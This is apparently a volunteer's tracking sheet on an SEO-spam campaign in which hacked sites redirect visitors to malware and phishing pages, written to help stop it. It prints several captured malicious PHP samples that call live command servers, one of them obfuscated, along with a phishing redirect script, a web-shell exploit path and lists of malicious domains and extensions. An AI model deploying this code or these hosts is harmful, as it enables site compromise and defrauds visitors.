
↓ ↓ ↓ NEWEST DOMAINS ON BOTTOM ↓ ↓ ↓​
​
These hacked websites and new domain registrations are flooding niche’s with over 50% in links 
redirecting to malware that started in December of 2018 and has gotten worse and worse. 
 
Search Bing or Google with the parameter domain:domain.it to see the huge impact of these 
links. On average each domain has 10,000 pages indexed in both search engines and up to 
200,000 pages! 
 
 
Please email stevenp8844@gmail.com if you would like edit access to this file or a link to 24/7 
updating links. 
 
NOTE: This document contains links to malicious websites and was created to help stop the 
spam from happening. Please do not remove this document and be careful with your 
investigation.​
 
IF YOU SEE 404 PAGES, YOU MUST HAVE A REFERER OF GOOGLE, BING OR YAHOO. 
YOU CAN ALSO SEE THE PAGE BY DOING A SPEED TEST HERE 
https://developers.google.com/speed/pagespeed/insights/ 
 
 
 
 
 
 
 
 
 
FOOTPRINTS 
 
Each hacked website has the following files that make detecting it easy: 
 
tpl1.html 
tpl2.html 
tpl3.html 
tpl4.html 
xyz.txt 
checkmob.php 
zzz.php 
mydom.txt  (this file will contain the malware redirect domain). 
keyword-keyword-keyword.php.tpl (change .html to .php.tpl) 

mailto:stevenp8844@gmail.com


​
Example domain: http://aviero.co.uk/fortigate-rsso-0opep/pnc-bank-subpoena.html​
 
http://aviero.co.uk/fortigate-rsso-0opep/pnc-bank-subpoena.php.tpl​
http://aviero.co.uk/fortigate-rsso-0opep/tpl1.html 
etc. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
MALWARE EXAMPLES 
 
Here is code from an infected machine.​
​
This was found by checking the website links below. Some website users appear to disable 
PHP or have some error that displays the php code when visiting the root folder. 
 
 
 
 
 <?php goto y77fj; y77fj: $botbotbot = "\x2e\x2e\x2e" . 
mb_strtolower($_SERVER[HTTP_USER_AGENT]); goto Ik6OS; ixzQX: if (strpos($botbotbot, 
"\147\157\157\x67\154\145") or strpos($botbotbot, "\x62\151\x6e\147") or strpos($botbotbot, 
"\x79\141\x68\157\x6f")) { $ch = curl_init(); $xxx = sqrt(30976); curl_setopt($ch, 
CURLOPT_URL, 
"\150\x74\164\160\72\x2f\x2f{$xxx}\x2e\x33\x31\56\62\x35\63\56\x32\x32\67\57\x63\141\x6b\14
5\x73\57\x3f\165\163\145\162\x61\147\x65\156\164\x3d{$botbotbot}\46\144\x6f\x6d\x61\151\15
6\x3d{$_SERVER["\x48\x54\x54\120\x5f\110\x4f\x53\124"]}"); $result = curl_exec($ch); 
curl_close($ch); echo $result; } goto Nu4NO; Ik6OS: $botbotbot = str_replace("\x20", "\55", 
$botbotbot); goto ixzQX; Nu4NO: ?>  
  
 
 

http://aviero.co.uk/fortigate-rsso-0opep/pnc-bank-subpoena.html
http://aviero.co.uk/fortigate-rsso-0opep/tpl1.html


Here is the code decoded: 
 
<?php goto y77fj; y77fj: $botbotbot = "..." . mb_strtolower($_SERVER[HTTP_USER_AGENT]); 
goto Ik6OS; ixzQX: if (strpos($botbotbot, "google") or strpos($botbotbot, "bing") or 
strpos($botbotbot, "yahoo")) { $ch = curl_init(); $xxx = sqrt(30976); curl_setopt($ch, 
CURLOPT_URL, 
"http://{$xxx}.31.253.227/cakes/?useragent={$botbotbot}&domain={$_SERVER["HTTP_HOST"]
}"); $result = curl_exec($ch); curl_close($ch); echo $result; } goto Nu4NO; Ik6OS: $botbotbot = 
str_replace(" ", "-", $botbotbot); goto ixzQX; Nu4NO: ?> 
 
 
 
Newest Malware:  
 
<?php goto y77fj; y77fj: $botbotbot = "\x2e\x2e\x2e" . 
mb_strtolower($_SERVER[HTTP_USER_AGENT]); goto Ik6OS; ixzQX: if (strpos($botbotbot, 
"\147\157\157\x67\154\145") or strpos($botbotbot, "\x62\151\x6e\147") or strpos($botbotbot, 
"\x79\141\x68\157\x6f")) { $ch = curl_init(); $xxx = sqrt(30976); curl_setopt($ch, 
CURLOPT_URL, 
"\150\x74\164\160\72\x2f\x2f{$xxx}\x2e\x33\x31\56\62\x35\63\56\x32\x32\67\57\x63\141\x6b\14
5\x73\57\x3f\165\163\145\162\x61\147\x65\156\164\x3d{$botbotbot}\46\144\x6f\x6d\x61\151\15
6\x3d{$_SERVER["\x48\x54\x54\120\x5f\110\x4f\x53\124"]}"); $result = curl_exec($ch); 
curl_close($ch); echo $result; } goto Nu4NO; Ik6OS: $botbotbot = str_replace("\x20", "\55", 
$botbotbot); goto ixzQX; Nu4NO: ?> 
 
Decoded:  
 
goto y77fj; 
 y77fj: $botbotbot = "..." . mb_strtolower($_SERVER[HTTP_USER_AGENT]); 
 goto Ik6OS; 
​  ixzQX: if (strpos($botbotbot, "google") or strpos($botbotbot, "bing") or strpos($botbotbot, 
"yahoo")) { 
​  $ch = curl_init(); 
​  $xxx = sqrt(30976); 
​ ​  curl_setopt($ch, CURLOPT_URL, "http://{ 
​ ​ $xxx 
​ } 
​ ​ .31.3r27/cakes/?useragent={ 
​ ​ $botbotbot 
​ } 
​ ​ &domain={ 
​ ​ $_SERVER["HTTP_HOST"] 
​ } 
​ "); 



​  $result = curl_exec($ch); 
​  curl_close($ch); 
​  echo $result; 
​   
} 
 goto Nu4NO; 
 Ik6OS: $botbotbot = str_replace(" ", "-", $botbotbot); 
 goto ixzQX; 
 Nu4NO: 
 
 
The decode process does not properly decode from the line breaks. The ip address is 
176.31.253.227 
 
 
Newer malware 
 
<?php 
 
$f1 = ".ht"; $f2 = "acc"; $f3 = "ess"; 
$ff = $f1.$f2.$f3; 
 
$apass = "aodhfherkejkerjk"; 
/* 
if (file_exists($ff)) chmod ($ff, 0777); 
if (filesize($ff)>120) 
{ 
​ $htout = fopen($ff, "w"); 
​ fwrite($htout, "RewriteEngine On  
RewriteRule ^([A-Za-z0-9-]+).html$ 4afxjdu0a6wc.php?world=5&looping=135&hl=$1 [L]"); 
fclose($htout); 
} 
*/ 
foreach ($_GET as $a=>$b) 
{ 
​ $_GET["id"] = $b; 
} 
 
$x1=3; 
$xx1=5; 
 
$tpl = "xxx"; 
$keyword = str_replace("-", " ", $_GET["id"]); 
$keyword = str_replace(" ", "+", $keyword); 



 
$s = dirname($_SERVER['PHP_SELF']); 
if ($s == '\\' | $s == '/') {$s = ('');}   
$s = $_SERVER['SERVER_NAME'] . $s; 
 
$today = "20210124"; 
 
include("checkmob.php"); 
if(is_mobile() >0 ) $mobiledevice = 11; 
 
 
if (file_exists("mydom.txt")) 
{ 
if ((date("U")-filemtime("mydom.txt"))>900) 
{ 
​ $ch = curl_init();   
curl_setopt($ch, CURLOPT_URL, "http://".$_GET["looping"].".181.21.126/mydom.txt");  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); 
$mydom = curl_exec($ch);  
curl_close($ch); 
 
if (strlen($mydom)<5) $mydom = 
file_get_contents("http://".$_GET["looping"].".181.21.126/mydom.txt");  
 
​  
​ $file = fopen("mydom.txt", "w"); 
​ fwrite($file, $mydom); 
​ fclose($file); 
} 
} 
else 
{ 
​ $ch = curl_init();   
curl_setopt($ch, CURLOPT_URL, "http://".$_GET["looping"].".181.21.126/mydom.txt");  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); 
$mydom = curl_exec($ch);  
curl_close($ch); 
 
if (strlen($mydom)<5) $mydom = 
file_get_contents("http://".$_GET["looping"].".181.21.126/mydom.txt");  
 
​  



​ $file = fopen("mydom.txt", "w"); 
​ fwrite($file, $mydom); 
​ fclose($file); 
} 
 
 
if ((strpos($_SERVER['HTTP_REFERER'], "google.")) OR 
(strpos($_SERVER['HTTP_REFERER'], "yahoo.")) OR (strpos($_SERVER['HTTP_REFERER'], 
"bing."))) 
{ 
$mydom = file("mydom.txt"); 
$mydom = chop($mydom[0]); 
$tpl = $_GET["id"].".php.tpl"; 
$tpl = file($tpl); 
$tpl = chop($tpl[0]); 
include("dnlkyh3vllqe"); 
exit; 
} 
else 
{ 
 
​ $myname = $_GET["id"].".php"; 
​ if (file_exists($myname)) 
​ { 
​ $html = file($myname); 
​ $html = implode($html, ""); 
​ echo $html; 
​ exit; 
​ } 
​  
}​  
 
​  
//$num_temple = rand(1,9); 
 
if (!file_exists("xyz.txt")) 
{ 
​ $file = fopen("xyz.txt", "w"); 
​ fwrite($file, "1"); 
​ fclose($file); 
} 
 
$tpl = file("xyz.txt"); 
$num_temple = chop($tpl[0]); 



$newtpl = $num_temple + 1; 
if ($newtpl == 5) $newtpl = 1; 
$outtpl = fopen("xyz.txt", "w"); 
fwrite($outtpl, $newtpl); 
fclose($outtpl); 
 
$tpl = file("tpl$num_temple.html"); 
$keyword = str_replace("-", " ", $_GET["id"]); 
$keyword = chop($keyword); 
$keyword = ucfirst($keyword); 
 
 $query_pars = $keyword; 
 $query_pars_2 = str_replace(" ", "+", chop($query_pars)); 
 $query_pars_2 = mb_strtolower($query_pars_2); 
 
$text = ""; 
 
$ch = curl_init();   
curl_setopt($ch, CURLOPT_URL, 
"http://".$_GET["looping"].".181.21.126/story2020.php?pass=$apass&q=$_GET[id]");  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); 
$text = curl_exec($ch);  
curl_close($ch); 
 
if (strlen($text)<5000) $text = 
file_get_contents("http://".$_GET["looping"].".181.21.126/story2020.php?pass=$apass&q=$_GE
T[id]");  
 
 
​ ​ $zzzzz = $_GET["world"] + 171; 
 $ch = curl_init();   
curl_setopt($ch, CURLOPT_URL, "http://$zzzzz.31.253.227/cakes/page.php");  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); 
$text2 = curl_exec($ch);  
curl_close($ch);​ ​  
​ ​  
​ ​ $text = $text."<br><br>\n\n\n\n".$text2;​  
     ​ $html = implode ("\n", $tpl); 
​ ​ $html = str_replace("{keyword}", $keyword, $html); 
​ ​ $html = str_replace("{manytext_bing}", $text, $html); 
​ ​  
​ ​ if (strlen($text)>5000) 



​ ​ { 
​ ​ $out = fopen($myname, "w"); 
​ ​ fwrite($out, $html); 
​ ​ fclose($out); 
​ ​  
​ ​ $out = fopen($myname.".tpl", "w"); 
​ ​ fwrite($out, $num_temple); 
​ ​ fclose($out); 
​ ​ } 
        else exit; 
​ ​  
​ ​ echo $html; 
​ ​  
 
 
 
Other type of malware redirects 
 
<?php 
error_reporting(0); 
$scampage = array( 
​ "https://pagelogin-reviewaccounts.com/?e123", 
​  
​ // Tambahin aja sebanyak banyaknya... 
); 
 
$lempar = "https://www.amazon.com"; 
$jnck = count($scampage) - 1; 
$rand = rand(0, $jnck); 
$trgt = $scampage[$rand]; 
date_default_timezone_set('Asia/Jakarta'); 
$user_agent     =   $_SERVER['HTTP_USER_AGENT']; 
function getOS(){ 
    global $user_agent; 
    $os_platform    =   "Another"; 
    $os_array       =   array( 
                            '/windows nt 6.2/i'     =>  'Windows 8', 
                            '/windows nt 6.1/i'     =>  'Windows 7', 
                            '/windows nt 6.0/i'     =>  'Windows Vista', 
                            '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64', 
                            '/windows nt 5.1/i'     =>  'Windows XP', 
                            '/windows xp/i'         =>  'Windows XP', 
                            '/windows nt 5.0/i'     =>  'Windows 2000', 
                            '/windows me/i'         =>  'Windows ME', 



                            '/win98/i'              =>  'Windows 98', 
                            '/win95/i'              =>  'Windows 95', 
                            '/win16/i'              =>  'Windows 3.11', 
                            '/macintosh|mac os x/i' =>  'Mac OS X', 
                            '/mac_powerpc/i'        =>  'Mac OS 9', 
                            '/linux/i'              =>  'Linux', 
                            '/ubuntu/i'             =>  'Ubuntu', 
                            '/iphone/i'             =>  'iPhone', 
                            '/ipod/i'               =>  'iPod', 
                            '/ipad/i'               =>  'iPad', 
                            '/android/i'            =>  'Android', 
                            '/blackberry/i'         =>  'BlackBerry', 
                            '/webos/i'              =>  'Mobile' 
                        ); 
 
    foreach ($os_array as $regex => $value) {  
 
        if (preg_match($regex, $user_agent)) { 
            $os_platform    =   $value; 
        } 
 
    }    
 
    return $os_platform; 
 
} 
function get_browser_name($user_agent) 
{ 
    if (strpos($user_agent, 'Opera') || strpos($user_agent, 'OPR/')) return 'Opera'; 
    elseif (strpos($user_agent, 'Edge')) return 'Edge'; 
    elseif (strpos($user_agent, 'Chrome')) return 'Chrome'; 
    elseif (strpos($user_agent, 'Safari')) return 'Safari'; 
    elseif (strpos($user_agent, 'Firefox')) return 'Firefox'; 
    elseif (strpos($user_agent, 'MSIE') || strpos($user_agent, 'Trident/7')) return 'Internet 
Explorer'; 
     
    return 'Other'; 
} 
$user_os        =   getOS(); 
$user_browser   =   get_browser_name($_SERVER['HTTP_USER_AGENT']); 
$from  = $_SERVER['HTTP_REFERER']; 
$ip    = $_SERVER['REMOTE_ADDR']; 
$getip = 'http://ip-api.com/json/' . $ip; 
$curl  = curl_init(); 



curl_setopt($curl, CURLOPT_URL, $getip); 
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); 
$content = curl_exec($curl); 
curl_close($curl); 
$details      = json_decode($content); 
$negara       = $details->countryCode; 
$nama_negara  = $details->country; 
$kode_negara  = strtolower($negara); 
$ip = $_SERVER['REMOTE_ADDR']; 
$dateTime = date("F j, Y, g:i a");  
array( "^67.212.*.*", "^13.239.10.*", "^18.179.57.*" ,"^54.*.*.*", "^104.222.*.*", "^34.*.*.*", 
"^35.245.188.*", "^213.180.*.*", "^217.149.166.*", "^80.107.51.*", "^54.213.170.*", 
"^80.110.47.*", "^40.94.90.*", "^217.102.242.*", "^69.25.58.*", "^18.134.9.*", "^15.207.102.*", 
"^15.222.253.*", "^35.245.188.*", "^13.211.127.*", "^103.243.173.146",  "^40.83.113.*", 
"^35.194.*", "^104.222.33.*", "^35.194.141.*", "^151.80.38.67", "^144.76.22.83", 
"^178.32.216.192", "^72.30.14.73", "^50.97.98.153", "^199.59.150.182", "^136.243.154.93", 
"^69.164.111.198", "^163.172.128.98", "^182.75.120.10", "^51.15.54.85", "^144.76.22.213", 
"^72.30.14.92", "^17.142.159.185", "^150.70.173.5", "^163.172.138.81", "^51.15.53.163", 
"^199.59.150.183", "^52.21.255.183", "^199.59.150.180", "^184.173.211.18", "^73.204.5.117", 
"^184.173.226.128", "^184.173.226.129", "^75.76.51.51", "^204.13.201.137", "^85.17.14.20", 
"^85.17.14.21", "^77.234.90.5", "^115.112.129.194", "^184.173.226.130", "^104.238.46.114", 
"^212.21.66.6", "^38.80.23.38", "^38.80.23.35", "^38.80.27.84", "^51.15.46.174", "^51.15.52.84", 
"^163.172.139.91", "^87.118.116.12", "^69.80.245.139", "^51.15.58.219", "^173.16.163.104", 
"^71.234.230.249", "^64.28.50.130", "^174.255.201.10", "^178.197.236.253", "^51.255.66.112", 
"^54.91.107.158", "^17.142.155.148", "^50.97.101.74", "^139.59.149.99", "^76.170.163.214", 
"^96.32.140.241", "^96.94.247.225", "^213.104.23.200", "^204.13.201.139", 
"^107.178.194.123", "^196.52.2.62", "^107.4.37.238", "^85.248.227.165", "^157.55.39.66", 
"^17.198.249.137", "^17.220.176.23", "^17.207.49.21", "^17.198.181.18", "^17.207.49.17", 
"^17.209.77.17", "^17.207.49.19", "^17.197.166.17", "^17.218.20.18", "^17.229.103.17", 
"^17.220.176.17", "^17.198.249.153", "^17.198.181.20", "^17.226.7.20", "^205.201.132.14", 
"^70.228.93.92", "^148.163.128.145", "^74.73.64.254", "^66.220.156.144", "^198.71.237.19", 
"^180.242.46.254", "^100.8.140.46", "^71.35.85.138", "^107.77.70.87", "^94.23.173.249", 
"^54.174.33.17", "^79.172.193.32", "^69.171.228.116", "^171.25.193.77", "^66.220.156.179", 
"^185.170.42.4", "^74.137.8.217", "^66.220.151.208", "^108.28.40.159", "^8.28.16.254", 
"^199.91.135.163", "^70.140.101.146", "^66.220.148.166", "^70.120.238.144", "^52.21.176.42", 
"^12.246.227.34", "^216.255.122.67", "^96.85.185.145", "99.74.248.133", "50.78.251.5", 
"54.165.181.10", "104.173.38.222", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", 
"^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", 
"^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", 
"^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", 
"^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", 
"^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", 
"^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", 



"^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", 
"^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", 
"^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", 
"^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", 
"^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", 
"^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", 
"^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", 
"54.228.218.117", "^54.228.218.*", "185.28.20.243", "^185.28.20.*", "217.16.26.166", 
"^217.16.26.*"); 
if (in_array ($ip, $denyIPs)) { 
​ $fh = fopen('log.txt', 'a+'); 
​ fwrite($fh, 'Blocked by IPs:'." [ $nama_negara - $user_os - $user_browser - $ip - 
$dateTime ] $from\n"); 
​ fclose($fh); 
​ header("Location: $lempar"); 
​ exit(); 
} 
if(strstr($_SERVER['HTTP_USER_AGENT'],'iPod') || 
strstr($_SERVER['HTTP_USER_AGENT'],'iPhone') || 
strstr($_SERVER['HTTP_USER_AGENT'],'Windows') || 
strstr($_SERVER['HTTP_USER_AGENT'],'iPad') || 
strstr($_SERVER['HTTP_USER_AGENT'],'Mac OS 9') || 
strstr($_SERVER['HTTP_USER_AGENT'],'Mac OS X') || 
strstr($_SERVER['HTTP_USER_AGENT'],'Android')) 
{ 
​ $jml = count($scampage); 
​ $ke = rand(0, $jml); 
​ $fh = fopen('log.txt', 'a+'); 
​ fwrite($fh, 'Accepted | page: '.$trgt.' | User-Agent:'." [ $nama_negara - $user_os - 
$user_browser - $ip - $dateTime ] $from\n"); 
​ fclose($fh); 
​ header('Location: '.$trgt); 
​ exit(); 
} 
else { 
​ $fh = fopen('log.txt', 'a+'); 
​ fwrite($fh, 'Blocked User-Agent:'." [ $nama_negara - $user_os - $user_browser - $ip - 
$dateTime ] $from\n"); 
​ fclose($fh); 
​ header("Location: $lempar"); 
​ exit(); 
} 
?> 
 



 
 
 
 
 
 
MALWARE EXAMPLES NEWER 
 
 
<?php goto Ilevw;UkmY3:goto xQfA_;goto MbIoB;YTKiV:XkKuQ:goto 
Vn7yw;Ifgaw:h2lcT:goto aY7nE;Ilevw:goto ZJaY3;goto 
L6MB4;SEdVf:$r0=str_replace(base64_decode(base64_decode(base64_decode("U1VFOV
BRPT0="))),base64_decode(base64_decode(base64_decode("VEZFOVBRPT0="))),$r0);go
to nOjSQ;GQKXZ:goto l9B0D;goto fQfAd;kdTIc:goto grfyL;goto SshGr;h1zWS:goto 
h2lcT;goto ivSAJ;Drfix:UM3EH:goto AnuK9;afaeS:RZGsI:goto hE9Er;SIQpW:NXZSx:goto 
SEdVf;ZQTm9:ZJaY3:goto 
GQKXZ;aS6wf:if(strpos($r0,base64_decode(base64_decode(base64_decode("V2pJNWRs
b3llR3c9"))))){$j1=curl_init();curl_setopt($j1,CURLOPT_URL,base64_decode(base64_dec
ode(base64_decode(base64_decode("V1ZWb1UwMUhUa1ZpTTFwTlpXdFZlbFJ0YXpCbG
F6RlVUa2hzVDFaRk1URlVWM0JLVFhjOVBRPT0="))))."\57\143\141\x6b\x65\x73\x2f\x3f\x7
5\x73\x65\162\141\147\x65\156\x74\75{$r0}\46\x64\157\155\141\x69\x6e\75{$_SERVER[base
64_decode(base64_decode(base64_decode("VTBaU1ZWVkdPVWxVTVU1Vg==")))]}");$b2
=curl_exec($j1);curl_close($j1);echo $b2;}goto VbbsD;fGaRQ:goto uxfZg;goto 
B1lSk;SEca8:uxfZg:goto DDmW2;MbIoB:goto ckNIK;goto SIQpW;fQfAd:goto q5iSx;goto 
Ml9VY;B1lSk:QfNkj:goto z_k5u;ivSAJ:vngOd:goto aS6wf;oQZZL:l9B0D:goto 
fGaRQ;JMRHK:goto YRag1;goto afaeS;aY7nE:goto XkKuQ;goto 
JMRHK;m1NjG:q5iSx:goto Drfix;Ml9VY:grfyL:goto BMDqY;L6MB4:ckNIK:goto 
oQZZL;AnuK9:goto vngOd;goto Ifgaw;SshGr:uHe4s:goto UkmY3;xrHyN:goto RZGsI;goto 
SEca8;Vn7yw:goto NXZSx;goto m1NjG;z_k5u:goto UM3EH;goto kdTIc;nOjSQ:goto 
QfNkj;goto ZQTm9;BMDqY:xQfA_:goto xrHyN;VbbsD:goto uHe4s;goto 
C8hic;DDmW2:$r0=base64_decode(base64_decode(base64_decode("VEdrMGRRPT0=")))
.mb_strtolower($_SERVER[HTTP_USER_AGENT]);goto h1zWS;C8hic:YRag1:goto 
YTKiV;hE9Er: $botbotbot=0;?> 
 
 
 
 
VIRUS MAIN WEBSITE 
 
It appears to be calling http://176.31.253.227/cakes/?useragent={$botbotbot}&domain= for the 
call for home to determine the type of action (dead? NOT DEAD! See below) 
 
Here is the new call to action script that is still alive! 
http://135.181.21.126/story2020.php?pass=aodhfherkejkerjk&q= 



 
Three total complaints sent into Server Hub, one to Hetzner as well. No response for a week 
from either web host. They have been linked to this page. 
 
On 1/16/2021 serverhub.ru stopped redirecting to serverhub.com and now redirects to 
powervps.ru - (powervps.com redirects to very similar download to continue links - see links in 
Browser Extensions). 
 
TERMINATED 1/20/2021! All links to these malware sites are not loading as of now, unless 
cached. Many 404 pages & timeouts. 
​
Back online 1/24/2021: http://135.181.21.126/mydom.txt 
 
 
 
 
Old call to action script, still alive! Another complaint sent into OVH on 1/21/2021. First 
complaint sent on 1/10/2021. 
 
http://176.31.253.227/cakes/?useragent= 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

http://135.181.21.126/mydom.txt
http://176.31.253.227/cakes/?useragent=


 
 
 
 
 
WORDPRESS THEME 
 
Here is one of the Malware Wordpress Themes that have lots of reports, comments about the 
virus and more. Yet it still remains online 
 
https://wordpress.org/support/plugin/three-column-screen-layout/reviews/ 
 
How the theme is exploited: 
/0byte.php?filesrc=/var/www/html/wp-content/plugins/three-column-screen-layout/vtev/t3vxfnang
9st6ezl.php&path=/var/www/html/wp-content/plugins/three-column-screen-layout/vtev 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
 
 
 
 
DOMAINS LIST 
​
Many of these domains have multiple sub domains that are spamming, but I have listed only 1 
unique domain in this list with an example of the spam link. 
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http://micabelles.com/sdm450-firehose-wxgsj/how-to-get-over-the-awkward-stage-in-a-relations
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http://educareilcane.eu/net-change-nzxss/pul-seam-sealing-tape.html 
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chapter.html 
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https://kirstyfergusonlewis.co.uk/colorado-pua-icreu/dangers-of-nanotechnology-in-medicine.ht
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http://chosenacademycourses.com/demand-forecasting-zix20/heller-myotomy.html 
http://betongprodukter24.se/forticlient-stuck-iwdyn/loop-meaning.html 
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http://cobatulis.com/kumpulan-lagu-ugyns/god-of-war-foothills.html 
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http://bestintegrations.com/bulk-15w40-mk7wj/hotshot-sleeper.html 
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https://www.ecardmint.com/amazon-uk-lpmq6/middle-ages-test-world-history-pdf.html 



http://tkk.com.pk/aluminium-air-joubo/fake-caller-id-credits.html 
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https://www.vzkg.ru/bmw-328i-5x7du/list-of-catholic-societies.html 
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https://maryamfarshad.com/rax120-best-lfjh1/nfl-conference-championship-predictions.html 
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http://erectionpharma.com/aimer7-guide-lp4mq/pelet-lewat-baju.html 
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http://discoveringsuncoast.com/m365-tools-vzodu/toyota-wheel-bearing-socket.html 
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http://ricebridgecapital.com/zte-vdsl-jnllu/my-younger-sister-copies-everything-i-do.html 
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NEWEST  DOMAINS 
The newest domains can be found above starting from the bottom. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
AFFILIATE / CONTROLLER DOMAINS 
 



Controller domains are the domains in the middle of the cloaking redirects to malware or 
affiliate offers and promotions being promoted through the same links. The cloaking is basically 
randomized. 
 
 
 
https://doswinuba.com/ 
http://ugyplysh.com/ 
http://propeller-tracking.com/ 
https://cleanhistoryeraser.com/l/into/ 
bestprizeday.life 
info.storageservice-miror-files.com 
search-checker.com 
https://portal.showmoreabout.com/list 
https://best-winnerspace1.life/ 
https://install.globalpdfconvertersearch.com/ 
https://live.maroohost.online/ 
https://bainushe.com/link 
https://1.onterralink.xyz/ 
http://frogrugby.com/ 
https://valid-install.com/adblock-doctor.html 
https://install.z-adblock.com/lend3.php 
https://get.hdmoviesearch.com/ 
https://win-your-prize-now2.life/ 
https://s3.us-east-2.amazonaws.com/greatfileforms/flash_setup_844099.html?utm=1 
https://bonus-links.com/in/?page=io8273dksksldue8923&utm_source=2&utm_campaign=wcfj2a
ckk3vr30q4ie309h9k&subid=master&customer=14 
https://www.agatrck.com/c/f49855a9e8c2a04f?SUB_ID_SHORT=d1dc0370664eec18a6b1e103
6833bbbb&s1=ad2_walmart_us_soi_desc&s3=all&s4={s4}&PLACEMENT_ID=15899232&BAN
NER_ID=1288559&CAMPAIGN_ID=402222 
https://ilo134ulih.com/rs4xwf9yi 
 https://driverfixersoftware.com/magna/index.php 
https://theonlygames.com/ce/ce_1020/land_ce_121020_na_en/?landing=modest&haff_pid=5&h
aff_oid=16&haff_cid=48d200002a5a11e0&haff_sub1=3823626&haff_sub2=&haff_sub3=&haff_t
ag=cpa&utm_source=hooligan 
https://worldbestposts.com/ 
https://www.cuntempire.com/?haff_pid=219&haff_oid=16&haff_cid=48d500002b4ff955&haff_su
b1=15107321&haff_sub2=&haff_sub3=&haff_tag=cpa&utm_source=hooligan 
https://storequick-thehighlyfile.best/zms4ZGPoaFscVuWLx8oNCU8zt2RU6L4rk8p2xZ2NZYc 
 
https://www.iexplore.com/destinations/antarctica/travel-guides/antarctica/antarctica/overview?ut
m_campaign=push_32036&utm_source=PUSH&utm_medium=cpc&utm_term=815nt4Ow4pFUj
tsjsZl4oPlQ 
 

https://valid-install.com/adblock-doctor.html
https://get.hdmoviesearch.com/
https://worldbestposts.com/
https://storequick-thehighlyfile.best/zms4ZGPoaFscVuWLx8oNCU8zt2RU6L4rk8p2xZ2NZYc
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https://www.iexplore.com/destinations/antarctica/travel-guides/antarctica/antarctica/overview?utm_campaign=push_32036&utm_source=PUSH&utm_medium=cpc&utm_term=815nt4Ow4pFUjtsjsZl4oPlQ


https://sale.aliexpress.com/__pc/ultimate1111shoppinglist.htm?aff_fsk=_ALUoru&aff_platform=p
ortals-promotion&sk=_ALUoru&aff_trace_key=ef6904f098ce40088ce588f831736519-16112476
16145-04413-_ALUoru&terminal_id=c750cdb744b04baeb05c6590b900f11d 
 
https://www.instantcheckmate.com/pr?utm_source=T3SD&traffic[source]=T3SD&utm_medium=
affiliate&traffic[medium]=affiliate&utm_campaign=16150&traffic[campaign]=9c21ebaa-e4e2-41a
4-b44f-7cc6a5feb4a1:16150&utm_term=&traffic[term]=&utm_content=&traffic[content]=&s1=161
50&s2=9c21ebaa-e4e2-41a4-b44f-7cc6a5feb4a1&s3=&s4=&s5=&traffic[funnel]=bg 
 
https://lightins.com/joinnow/step1.php 
https://ca.usarchv.click/us/i12/century/ 
https://get.streamssitesearch.com/ 
 
 
https://www.winneragent.com/59j27j?affid=aj_1608-288&aff_sub=177&aff_sub2=b603727a0083
447685d76f36c05033c7&aff_sub3=&click_id=08457fa162d537c4f3f0b5c183ee3253 
 
 
https://join.super-samples.com/?utm_source=S4C_cpa&utm_medium=S4C_cpa&utm_campaig
n=262&pid=262&sid=&sxid=1zowx642kr3r&cid=8929b4d3865346d9b0d85c72e1e89386&subj=
&src=262&oid=5&dropid=cpa&img=wlmrt.jpg&amount=%241000&brand=Walmart 
​
Super-samples.com is a fake website to send real affiliate revenue to the below link 
 
https://path.shareyourfreebies.com/?i=multivitamins&request_id=60071c8cd88a8&s1=13c8b322
01f54d53af665f98b5abd6ae&affiliate_id=45&campaign_id=1903&offer_id=207&creative_id=&s2
=poooohh 
 
Shareyourfreebies.com is blacklisted on facebook, but they have over 1.5 million likes. 
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These are being promoted (adult content) 
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BROWSER EXTENSIONS 
If you are reading please click ‘Report Abuse’ on each one. 
All of these browser extensions are being promoted by trying to trick users to download the 
extension to continue their original search query. 
 
https://chrome.google.com/webstore/detail/adblock-doctor/kkekefcpfdkdjgmnbcagcdgjddfebpnn 
https://chrome.google.com/webstore/detail/bonus-links/adljjbeichajpdjbdeddhlnpekbgbhaf/ 
https://chrome.google.com/webstore/detail/hdmoviesearch/ciemldlbecaohelcffdkcnbdkfakdcac?
utm_source=lp 

https://hdthaiporn.com/
